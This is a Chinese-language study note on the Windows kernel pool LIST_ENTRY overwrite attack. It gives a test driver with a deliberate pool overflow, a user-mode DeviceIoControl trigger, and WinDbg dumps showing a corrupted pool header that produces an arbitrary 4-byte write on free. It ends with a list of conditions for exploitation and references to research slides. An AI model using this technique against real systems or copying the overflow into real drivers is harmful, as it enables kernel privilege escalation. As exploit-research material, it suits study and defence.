KERNEL POOL LISTENTRY OVERWRITE ATTACK
LIST_ENTRY OVERWRITE 原理图
测试代码:
Sys:
VOID Nopagepool_ListEntry_Overwrite(ULONGcbin,ULONG cout,UCHAR * InputBuffer)
{
PVOIDpatdbuffer=NULL,patebuffer=NULL;
KdPrint(("Nopagepool_ListEntry_Overwrite:cbin:%d cout:%d\n",cout,cout));
patdbuffer=ExAllocatePoolWithTag(NonPagedPool,0x100,'atd');
if(patdbuffer)
{
KdPrint(("atdbuffer:0x%x\n",patdbuffer));
memcpy(patdbuffer,InputBuffer,cbin);//cbin 大小为0x38 刚好溢出下一个chunk poolheader
ExFreePoolWithTag(patdbuffer,'atd');//触发exploit
}
}
R3:
UCHAR InputBuffer[0x38];
UCHAROutputBuffer[0x38];
memset(InputBuffer,0xBB,0x30);
memset(&InputBuffer[0x30],0xaa,0x8);
DWORD dwOutput;
BOOL bRet;
bRet =DeviceIoControl(hDevice, IOCTL_TEST1, InputBuffer, 0x38, &OutputBuffer, 0x38,&dwOutput, NULL);
if (bRet)
{
printf("\n");
}
分析过程
0: kd> db 820bd3c0 //atd tag 内存
820bd3c0 00 00 00 00 07 00 00 00-e8 2b 02 82 24 2c 0282 .........+..$,..
820bd3d0 24 2c 02 82 78 ec 57 80-00 00 00 00 66 11 927c $,..x.W.....f..|
820bd3e0 00 00 00 00 00 00 92 7c-00 00 00 00 00 01 0000 .......|........
820bd3f0 07 00 08 0a 56 61 64 6c-97 ff 07 00 97 ff 07 00 ....Vadl........
820bd400 10 52 4c 82 00 00 00 00-00 00 00 00 01 00 40 c4 .RL...........@.
820bd410 00 00 00 00 d8 dd 07 82-50 17 10 e2 00 00 00 12 ........P.......
820bd420 00 70 f9 7f ff 7f f9 7f-00 00 00 00 00 00 00 00 .p..............
820bd430 08 00 01 00 08 2a 53 82-01 00 06 0a 56 61 64 20 .....*S.....Vad
0: kd> db 820bd3c0-8
820bd3b8 01 00 07 0a 64 74 61 00-00 00 00 00 07 0000 00 ....dta.........
820bd3c8 e8 2b 02 82 24 2c 02 82-24 2c 02 82 78 ec 57 80 .+..$,..$,..x.W.
820bd3d8 00 00 00 00 66 11 92 7c-00 00 00 00 00 00 92 7c ....f..|.......|
820bd3e8 00 00 00 00 00 01 00 00-07 00 08 0a 56 61 64 6c ............Vadl
820bd3f8 97 ff 07 00 97 ff 07 00-10 52 4c 82 00 00 00 00 .........RL.....
820bd408 00 00 00 00 01 00 40 c4-00 00 00 00 d8 dd 07 82 ......@.........
820bd418 50 17 10 e2 00 00 00 12-00 70 f9 7f ff 7f f9 7f P........p......
820bd428 00 00 00 00 00 00 00 00-08 00 01 00 08 2a 53 82 .............*S.
0: kd> dt nt!_POOL_HEADER 820bd3b8
+0x000 PreviousSize :0y000000001 (0x1)
//前一个块的大小
+0x000 PoolIndex :0y0000000 (0)
//在相关联的pool 描述数组中的索引
+0x002 BlockSize :0y000000111 (0x7)
//(NumberOfBytes+0xF) >>3
+0x002 PoolType :0y0000101 (0x5)
//Free=0,Allocated=(PoolType|2)
+0x000 Ulong1 :0xa070001
//TAG
+0x004 ProcessBilled :0x00617464 _EPROCESS
+0x004 PoolTag : 0x617464
+0x004 AllocatorBackTraceIndex : 0x7464
+0x006 PoolTagHash : 0x61
从上面可以看到820bd3f0 出是下一个poolheader
0: kd> db 820bd3f0
820bd3f0 07 00 08 0a 56 61 64 6c-97 ff 07 00 97 ff 07 00 ....Vadl........//list entry
820bd400 10 52 4c 82 00 00 00 00-00 00 00 00 01 00 40 c4 .RL...........@.
820bd410 00 00 00 00 d8 dd 07 82-50 17 10 e2 00 00 00 12 ........P.......
820bd420 00 70 f9 7f ff 7f f9 7f-00 00 00 00 00 00 00 00 .p..............
820bd430 08 00 01 00 08 2a 53 82-01 00 06 0a 56 61 64 20 .....*S.....Vad
820bd440 10 04 00 00 d7 04 00 00-a8 73 41 82 00 00 00 00 .........sA.....
820bd450 00 00 00 00 00 00 40 03-20 55 52 82 48 80 54 e1 ......@. UR.H.T.
820bd460 80 86 54 e1 00 00 00 01-06 00 14 0a 41 66 64 c3 ..T.........Afd.
0: kd> dt nt!_POOL_HEADER 820bd3f0
+0x000PreviousSize : 0y000000111 (0x7)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000101 (0x5)
+0x000 Ulong1 :0xa080007
+0x004 ProcessBilled :0x6c646156 _EPROCESS
+0x004 PoolTag :0x6c646156
+0x004 AllocatorBackTraceIndex : 0x6156
+0x006 PoolTagHash : 0x6c64
Memcpy之后
0: kd> db 820bd3c0
820bd3c0 bb bb bb bb bb bb bb bb-bb bb bb bb bb bb bb bb ................
820bd3d0 bb bb bb bb bb bb bb bb-bb bb bb bb bb bb bb bb ................
820bd3e0 bb bb bb bb bb bb bb bb-bb bb bb bb bb bb bb bb ................
820bd3f0 aa aa aa aa aa aa aa aa- 97 ff 07 00 97 ff07 00 ....Vadl........ //覆盖了下一个poolchunk的头部
820bd400 10 52 4c 82 00 00 00 00-00 00 00 00 01 00 40 c4 .RL...........@.
820bd410 00 00 00 00 d8 dd 07 82-50 17 10 e2 00 00 00 12 ........P.......
820bd420 00 70 f9 7f ff 7f f9 7f-00 00 00 00 00 00 00 00 .p..............
820bd430 08 00 01 00 08 2a 53 82-01 00 06 0a 56 61 64 20 .....*S.....Vad
0: kd> dt nt!_POOL_HEADER 820bd3f0
+0x000 PreviousSize :0y010101010 (0xaa)
+0x000 PoolIndex :0y1010101 (0x55)
+0x002 BlockSize :0y010101010 (0xaa)
+0x002 PoolType :0y1010101 (0x55)
+0x000 Ulong1 :0xaaaaaaaa
+0x004 ProcessBilled :0xaaaaaaaa _EPROCESS
+0x004 PoolTag :0xaaaaaaaa
+0x004 AllocatorBackTraceIndex : 0xaaaa
+0x006 PoolTagHash : 0xaaaa
手动将这个pool header头部改动
1: kd> ed 820bd3f0 000a0007
0: kd> dt nt!_POOL_HEADER 820bd3f0
+0x000 PreviousSize :0y000000111 (0x7)
+0x000 PoolIndex :0y0000000 (0)
+0x002 BlockSize :0y000001010 (0xa)
+0x002 PoolType :0y0000000 (0) //将pooltype设置成0 标志着释放了
+0x000 Ulong1 : 0xa0007
+0x004 ProcessBilled :0x6c646156 _EPROCESS
+0x004 PoolTag :0x6c646156
+0x004 AllocatorBackTraceIndex : 0x6156
+0x006 PoolTagHash : 0x6c64
ExFreePoolWithTag释放时触发写任意地址任意4个字节
1: kd> .trap 0xffffffffb24e0704
ErrCode = 00000002
eax=820bd3b8 ebx=0007ff97 ecx=000001ffedx=820bd3f0 esi=80565d20 edi=0007ff97
eip=8054c10d esp=b24e0778 ebp=b24e07b8iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206
nt!ExDeferredFreePool+0x107:
8054c10d 893b mov dword ptr [ebx],edi ds:0023:0007ff97=????????
1: kd> dd 820bd3f0
820bd3f0 000a0007 6c646156 0007ff97 0007ff97
820bd400 824c5210 00000000 00000000 c4400001
820bd410 00000000 8207ddd8 e2101750 12000000
820bd420 7ff97000 7ff97fff 00000000 00000000
820bd430 00070008 82532a08 81f95390 81fe6330
820bd440 8241e538 000004d7 00000000 821b4288
820bd450 820a16e8 03400000 82525520 e1548048
820bd460 e1548680 01000000 02140007 c3646641
注意事项
几个条件:
1 溢出后面的chunk的PreviousSize必须要等于当前chunk的blocksize(否则会引发ExFreePoolWithTag时蓝屏)
2 当前chunk的blocksize必须要大于0x20(避免释放到lookaside表上去)
3 溢出后面的chunk的pooltype必须为0(0表示该chunk被释放,引起pool 合并)
4 溢出后面的chunk的blocksize必须大于1(否则认为这不是个listentry)
利用的注意事项:
1 当前的chunk的blocksize最好是256到4080 字节大小
2 溢出的最小需要字节数=0x16。
3 当当前的chunk被释放时,会发生往任意地址写任意4个字节
4 win7以前系统链接的摘除是不经过检查的(free版本)
ref
BlackHat_DC_2011_Kernel Pool Exploitation onWindows 7-Slides.pdf
KernelPool.pdf.pdf
kernelpool_infiltrate2011.pdf.pdf
Windows 内核池溢出漏洞利用方法.PDF